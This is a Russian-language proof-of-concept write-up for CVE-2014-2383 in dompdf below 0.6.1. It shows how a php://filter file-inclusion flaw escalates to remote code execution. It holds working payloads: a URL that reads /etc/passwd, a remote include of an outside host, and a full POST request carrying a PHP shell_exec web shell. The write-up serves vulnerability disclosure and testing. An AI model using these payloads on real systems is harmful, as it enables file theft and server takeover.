
Эксплойт-доказательство концепции для CVE-2014-2383, демонстрирующий эскалацию LFI/RFI до RCE в dompdf <0.6.1, с пошаговым руководством по воспроизведению и скриптом автоматизации.
Тестовая среда: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25
В ходе оценки безопасности было обнаружено наличие CVE-2014-2383. Этот документ является доказательством концепции и не содержит деталей первоначального обнаружения для защиты конфиденциальности клиента. Содержимое этого документа, однако, воспроизводит среду, в которой эта уязвимость была использована.
Обнаружение https://github.com/projectdiscovery/nuclei

Подробности CVE-2014-2383
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
Обратите внимание, что PHP-обёртка php://filter/resource используется для включения файла /etc/passwd с целевой системы.
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

Эта PHP-обёртка позволяла включать не только локальные файлы, но и удалённые.
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com

До этого момента мы использовали известную информацию и доказательства концепций для эксплуатации этих уязвимостей. Пытаясь расширить эксплуатацию этой уязвимости, я использовал другие протоколы и PHP-фильтры, чтобы добиться своего рода «предварительной обработки» перед созданием PDF.
Ключевое отличие этой уязвимости LFI/RFI заключалось в том, что любой файл, на который ссылались через LFI, преобразовывался в PDF-документ. Это означало, что попытка отобразить PHP-файл через LFI лишь конвертировала бы этот файл в PDF, не выполняя содержащийся в нём PHP. При более внимательном рассмотрении нашей полезной нагрузки можно заметить, что php://filter/resource= — это часть полезной нагрузки, которая обходит ограничение, установленное DOMPDF.
Используя другой PHP-фильтр, мы можем заставить сервер предварительно обработать POST-запрос перед выполнением LFI. Мы можем использовать входной поток php://input для чтения необработанных данных из нашего POST-запроса. Кроме того, мы можем добавить параметр с командой, которую хотим выполнить, и определить его в наших POST-данных. Таким образом, наш новый параметр будет выглядеть примерно так: php://input&cmd=id, а наши POST-данные — так: <?php echo shell_exec($_GET[‘cmd’]);?>. Результат приведён ниже.
Перейдите к LFI, если вы обнаружили версию DOMPDF < 0.6.1
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd
Перехватите этот запрос в прокси-сервере, например BurpSuite

Отправьте запрос в Repeater (Ctrl+R)

Когда запрос окажется в Repeater, щёлкните по нему правой кнопкой мыши и выберите «Change Request Method»

Измените параметр input_file:
From:
php://filter/resource=/etc/passwd
To:
php://input&cmd=whoami

Добавьте это в тело POST-запроса: (иногда одинарные кавычки нужно вводить заново)
<?php echo shell_exec($_GET['cmd']);?>

Весь запрос должен выглядеть примерно так:
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
<?php echo shell_exec($_GET['cmd']);?>
Если вы используете BurpSuite, отправьте запрос, а затем воспользуйтесь строкой поиска, чтобы найти «BT». Обратите внимание, что команда выполнена, и ответ записывается в данные на уровне байтов PDF, который пытается быть созданным. (В данном случае пользователь — «daemon»)

Я подготовил Python-скрипт, который может автоматизировать большую часть этого процесса.

Дисклеймер: Этот материал предназначен только для образовательных целей. Пожалуйста, не трогайте чужие веб-серверы. 😄
Вот ссылка на видео RCE, доступное по ссылке. Видео